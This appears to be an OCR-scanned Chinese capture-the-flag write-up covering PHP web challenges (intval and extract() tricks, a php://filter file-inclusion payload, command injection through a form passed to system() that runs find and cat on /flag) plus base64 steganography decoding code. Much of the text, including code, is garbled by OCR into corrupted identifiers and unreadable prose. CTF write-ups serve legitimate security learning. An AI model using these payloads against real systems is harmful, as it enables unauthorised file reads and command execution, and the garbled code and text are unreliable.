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import gmpy?2
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<?php

include ("flagz. php”) ;
highlight filel__FILE )
iff{izzet (§ GET[ num’ 130 {
frum = F_GET[ num’];
if (frum==4476) |
die("no no no!*);

1
if (intwal (Fnum, 0)==4476) {
echo  fflag:
telsed
echo  intwal (fnum, 0) ;
1
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Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
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<Tphp

header ("Content-Type:  text/html; charset=UTF-8");
error_reporting (00 ;

highlight file{__FILE_ _};

require_once( flag.php’ ) ;

fperson=’ A bin !

extract (§_GET) ;

if  (izzet (fkevl))

i
$file = trimi{$perzon):
if (fkeyl == §$file)
echo "The pass 1 =zolved/br} ;
fpas=s1=1;
1
elze
echo " BAvsALiARTWzATOSALAHELANGTET 7 TvE </ br s’
I
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header ("Content-Tvpe: text/himl; char=et=UTF-8");
error_reporting (00 ;

highlight file(__FILE__J:

require_oncel flag.php’ ) ;

fper=zon=’ i, bin i

extract (§_GET) ;

if  (isz=zet ($keyl))
{

$file = +trim($person):

if (fkeyl == Jfile){
echo "The pass 1 s=solved/br> ;
fpas=1=1;

I

elze ]

echo " BAysBLiABTWzATOSEL+HELINETAT T v </ bry
1

if  (is=zet ($keywi))
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if (intval ($kev2,0) < 504 &b intwal ($key2 + 1000 > B04504)

{
echo "The pass 2 s=solved/br> ;
fpassa=1;
I
elze ]
echo ~BTWZRafefLiN6Tq+7 Ty MEEvfEEqEELiNAT g+ br
1

if  (izzet ($kevyd))
i
if  (fpas=zl=1 && S$pasz=2=1 && $hkey3d==fpaz=3)

i
echo "The flag i= "o $flag;

echo " HIuefaS085vLEEYLEICn< by ;
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Database: flag

Table: flug
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+
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p < y >
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<?php k4 =E B#He BERB RE H8 ar 08 =% Lighthouse ~ HackBar  Web Scraper
Al - - - - - -
Ve s oo LOAD  SPLIT  EXECUTE  TEST saLl XSS LFI SSTI ENCODING
* @uthor:  Hanaynzu
*
if  (isset($_POST['£ile])) | URL
file = §_POST[file']
include ($file)
boelse | encty
highlight_file(_ FILE }: Enaple P
- application/x-www-form-urlencoded - ADD HEADER
- v &
Body
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PD9waHANCgOKIGEgPSANc3IzY3Rme3NvX2Vhe3IfSUSibGIEZVEWMTBI)zsNCgOoK

k4l =E gH& BERB RE #8 AF =B =2 Lighthouse  HackBar

LOAD SPLIT EXECUTE TEST -~ sqLl - Xss - LFl ~ H

URL
http://42.192.205.48:32100/index.php

enctype

L ] Egge application/x-www-form-urlencoded v ADD HEADER

Body
file=pHp://FilTer/convert.baseé4-encode/resource=flag.php
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B Filter: Showing all items
Request Payload Status Error  Timeout Length Comment
3 qwerty 200 572
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0 I
1 qwert
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4 aahed
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9 aals
1 aarrgh
12 abaca
13 aharac
Request
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s REAFMEHMHELER
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import random

wH = 0

Gt . append ("A.bin: iLFR G O E LTES )L ™M)
(atFit) cappend ("A.bin: ] B REFIE LMy
Cal%i) - append (53)
Tfor HeAY in range(l, (2) + 1, 1) :#3=X9 B0l T wbat 15

print ( (b)) [ (3EX%) - 11)

(R 1(3) - 11 -= 3

del (Atad) [(2) - 11

print (ki) #3k k=50
MR = None

MR = "X v ASBE LR EE R

JREE—HE = el il G A BRI S, DRI E AR A AN T, S o Ui A B, BR i e et AR B R A IR, A
odef [ 0N (BN, X M) -
#5K = None

ZiK = "R IE DU B R T T

o for # I in range(l, ((Atxt)[(2) - 1] * 5) + 1, 1): #1-250
print("& ", & L)

= = len (FINHE) $EA=12

ZM = random.randint (1, #EF)
Eak = ok + ) [(Zi) - 1)
= for /i in range(l, (5) + 1, 1): #1-5
EF = len (BT —UE) =59
Zi] = random.randint (1, Z7)
&k = ik + (X MEE) [ - 1)

print("’J\m]",/]\T"ﬂ)
print (Z7K)
return 25Kk
" = None
B = AR (R, TR HE)
print (/NFR)
#ANR: RUBGEMEIE BTSRRI S A, MR T . RN AT .
AT A R 1 12 B o B S A T b
#ORE B SO Uk T BR Sk, S S AR Boat ), Ui gout e, UOwtEE TSR R BT, Aoubuk T a AL BRI S, ot

R E AR CSDN @EZz

o (FEREmBEXIERAI T LA CUE B R U P 8D
o BB R RSN FRIER — W



AT . fE T
Vb o s = ANk
PRTEI = AN
WTE T fE. X
! HR 2 He By
LN [ D 5
A, Ak
S N (N
SEFEIXHR T AE
i 5 79 2 Ak
KIEN, T,
PRARKIERNET
! fEEAT, fiE
o Bt Bl HE (1)
Ak 1, HE ik wohk
Wi, 42 HE SRR

o EITBERAER ISR R AR S

A R Zbase64



Challenge 7 Solves

AlEREbaseb4
200

tREELENInt, BEEFTEARE BHEEE bsysctf}

* baseéd jpeg

Flag Submit

o Rbasebdfas
o FEM_EIR BB RS B ML

import kassée4d

$easces FHE EEEMTEHT

Base64Char ¥z0
BinaryText = ""
for line in LineList:
if line.find("==") > 0: MR EFE2N=-FE
temp = bin(Base64Char.find(line[-3]) & 15)[2:] BT S EERE CEREE I (2 EE RS oidiEE
BinaryText — BinaryText+"0"*(4-len(temp))+temp g frho
elif line.find("=") > 0: sMBEEFELI-FHE
temp = bin(Base&4Char.find(line[-2]} & 3) [2:] B SaiEE R R E S
BinaryText = BinaryText+"0"(2-len(temp))+temp s=friho
Text = ""

if(len(BinaryText) %
. e
print ("%
for i in range(0, lantalnary’l‘ext}, 2):
if(i+3 > len(BinaryText)}):
Text = Text+"-"+BinaryTextc[i:]
return Text

*%ﬁffgxi HIRRSEE SRR R T —E R, AT ERIAES, NE—TH
2

else:
Text = Texttchr(int (BinaryText[1:148], 2))
else:
for i in range(0, len(BinaryText),
Text = Text4chr (int (BinaryText[i:142], 2)) HEER M D ER S Ee U —E N BascITl B LS/
retarn Text
def qasec‘! _ForString Decrypt(Text): $DasccafiE
‘DecryptedText = str(Text) .encode ("stf-27)
DeczyptedText = baseé4.béddecods (Deczyptedlext)
Deczyptedlext = DecryptedText.decode ("uti-—57)

except:
retarn ©
return DecryptedText

“Course = 1

File = open(Course, "r")
Linelist = File.read().splitlines()
print("ERAEFH: "M

for line in LineList:

prlnt.(BasaétiEIStIingiDEcIypb (line) ,end="")
print("F AEF
pr'lnt.tBaseGdS!:Egn Decrypt (LineList))

E
|

o BPRFIEIT

se the capital's traffic burden, facilitate tran
he Beijing-Tianjin-Hebei regionf

ifconfig



Challenge 0 Solves

Ifconfig
125

BB
Flag Submit
CSDN @T By
o WHRE—ANIZEARMIBITHIES
| |[ 122
i ifconfigRlEI &EEip
CSDN @Fi2 7

o 2B, B4, Hilifconighm B MARE, B RHEEIIET R4S, HiAcatifoonfig php, R4



|cat ifconfig. phy =3

#wAifconfigelal&&ip
<?php
i

* @Time: 202273718 23.13
* @iuthor: Hanayuzu
*f

T

SIDOCTYPE html>

<html lang="en">

<head>
<meta charset="UTF-8">
<titlerTitled/titler

< head:

<bods>

<form action="./ifconfig.php” method="post”>
{input type="text” name="commond”/
<input type="submit” wvalue="123 ">

<fform>

<arfi A ifconfig IR E&Eipd a>

<textarea rows="100" col=="300">

<?php

if {izzet ($_POST[" commond’ ])) {

femd = $_POST[ commond’ ] ;
finfo = system($omd) ;

T

e TREMILTEECRAREKRAMA, Hifind/-name "flag"



[find / -name "*flag™" || &% |
#iAifconfigRlaI&EEip

JSevalfdevicez/pnpl/00: 04/ Lty tt730/flags
favsfdevices/platform/serial 8250/ 1ty tty315/flags
fevafdevicez/platforn/zerial B200/ tty/ttyS6/ flags
favsfdevices/platform/serial 8250/ 1ty tty323/flags
fevafdevices/platforn/zerial 8200/t tty513/flags
favsfdevices/platform/serial 8250/ 1ty /tty331/flags
fevafdevices/platforn/zerial 8200/ tty/ttySd/flags
favsfdevices/platform/serial 8250/ 1ty tty321/flags
fevalfdevices/platforn/zerial 8200/t tty511/flags
Favsfdevices/platform/serial 8250/ ttv/tt¥52/flazs
fevafdevices/platforn/zerial 8200/ t1y/tty528/flags
favsfdevices/platform/serial 8250/ 1ty tty313/flags
fevafdevicez/platforn/zerial 8200/ tty/tty508/flags
Favsfdevices/platform/serial 8250/ 1ty / tty326/flags
fevafdevices/platforn/zerial 8200/ tty/tty516/flags
favs/devices/platform/serial 8250/ ttv/tt¥ST7/flazs
fevalfdevices/platforn/zerial 8200/ tty/tty524/flags
favsfdevices/platform/serial 8250/ 1ty tty314/flags
fevafdevicez/platforn/zerial 8260/ tty/t1y56/flag=
favsfdevices/platform/serial 8250/ 1ty tty322/flags
fevafdevices/platforn/zerial 8200/ tty/tty512/flags
fzyafdevices/platform/zerial 8250/t ty/ttyS30/flags
Favs/devices/platform/serial 8250/ ttv/tt¥53/flazs
fevafdevices/platforn/zerial 8200/ tty/tty520/flags
favsfdevices/platform/serial 8250/ 1ty tty310/flags
fevalfdevices/platforn/zerial 8200/ t1y/tty528/flags
favs/devices/platform/serial 8250/ ttv/tt¥S1/flazs
fevalfdevices/platforn/zerial 8200/t tty518/flags
favsfdevices/platform/serial 8250/ 1ty tty327/flags
fevafdevices/platforn/zerial 8200/t tty517/flags
Ffavs/devices/platform/serial 8250/ ttv/tt¥S53/flazs
fevafdevices/platforn/zerial 8200/ t1y/tty525/flags
Favs/devices/virtual/net/ethl/flazs
feyafdevicez/virtual/net/lo/flags=

Favs/module/ scsi_mod/parameters,/default_dewv flags
fproc/sys/kernelfacpi_wideo_flags
Jproc/evs/kernel/ sched_domain/ cpulydomaind/flazs
Jfprocssyvs/kernel/sched_domain/cpul/domaind/flazs
Jproc/evs/kernel/ sched_domain/ cpu2/domaind/flazs
Fproc/syvs/kernel/sched_domain/ cpul/domaind/flazs
Jproc/kpageflazs
Jusr/lib/xB6_64-linum—gma/perlsh. 28, 1/bitefas_flags.ph
Fusr/1lib/=x86_G4-limm—gsnu/perl/H. 28, 1/bitsfwaitflags. ph
Fflag

fflag/. flag

o FTTFHINL S

|cat iflag/ flag || =2 |
#wAifconfigelal&&ip

sysctf {easy system RCE_111}
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